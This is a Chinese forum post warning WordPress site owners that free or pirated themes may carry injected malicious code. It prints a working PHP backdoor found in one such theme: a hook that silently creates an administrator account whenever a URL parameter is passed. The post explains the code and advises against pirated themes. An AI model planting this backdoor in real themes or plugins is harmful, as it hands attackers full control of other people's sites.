警惕!WORDPRESS慎重使用免费(盗版)主题

[复制链接]
discuz使用视频教程
31idc

马上注册,一起探讨正确快速的建站方法

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
使用wordpress建站站长朋友们不在少数,无忧主机php虚拟主机就有很多wordpress的客户。一般我们使用wordpress建站,都是先安装一个开源程序,然后到网上选择一个我们喜欢或者适合的主题,进行安装。这些主题中,大部分都是免费的主题。这就可能涉及到一个问题,那就是安全问题。由于免费的主题大家都可以下载到,一些无良的商家专门收集这些主题,往主题里添加广告、暗链,甚至恶意代码,达到他们不可告人的秘密。最近小编就遇到了这样一个被人修改过的主题,添加的代码如下:

add_action('wp_head', 'holeinthewall');
function holeinthewall() {
If ($_GET['backdoor'] == 'go') {
require('wp-includes/registration.php');
If (!username_exists('username')) {
$user_id = wp_create_user('username', 'password');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
以上主题小编请公司的程序员大神解释了一下,他给出的解释是:这竟然是一个自动添加管理员的代码!如果把上面的代码添加到functions.php文件中,会自动创建一个管理员,名为username,密码为password的管理账号!这样太恐怖了,如果真的创建成功,就可以任意修改网站内容了。

所以小编在这里给大家提个醒:最好不要使用免费或者盗版的主题,以免给自己的网站带来意想不到的麻烦。

大神点评21

 楼主| luochao0921 2015-7-8 显示全部楼层
先自己顶一下
 楼主| luochao0921 2015-7-8 显示全部楼层
技术交流贴
 楼主| luochao0921 2015-7-8 显示全部楼层
一点小技巧和大家分享下
 楼主| luochao0921 2015-7-8 显示全部楼层
给有需要的人参考参考
盗版用多了难免掉坑里
 楼主| luochao0921 2015-7-8 显示全部楼层
强烈支持,强烈支持
 楼主| luochao0921 2015-7-8 显示全部楼层
感恩无私的分享与奉献
 楼主| luochao0921 2015-7-8 显示全部楼层
顶起来顶起来
 楼主| luochao0921 2015-7-8 显示全部楼层
多多交流,共赢大家!一起学习
 楼主| luochao0921 2015-7-8 显示全部楼层
不要沉下去了
 楼主| luochao0921 2015-7-8 显示全部楼层
这篇帖子送给有需要的站长朋友
 楼主| luochao0921 2015-7-8 显示全部楼层
为人民服务
 楼主| luochao0921 2015-7-8 显示全部楼层
顶起,2014没收获,2015加油
 楼主| luochao0921 2015-7-8 显示全部楼层
回首2014,展望2015加油
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

快速回复 返回顶部 返回列表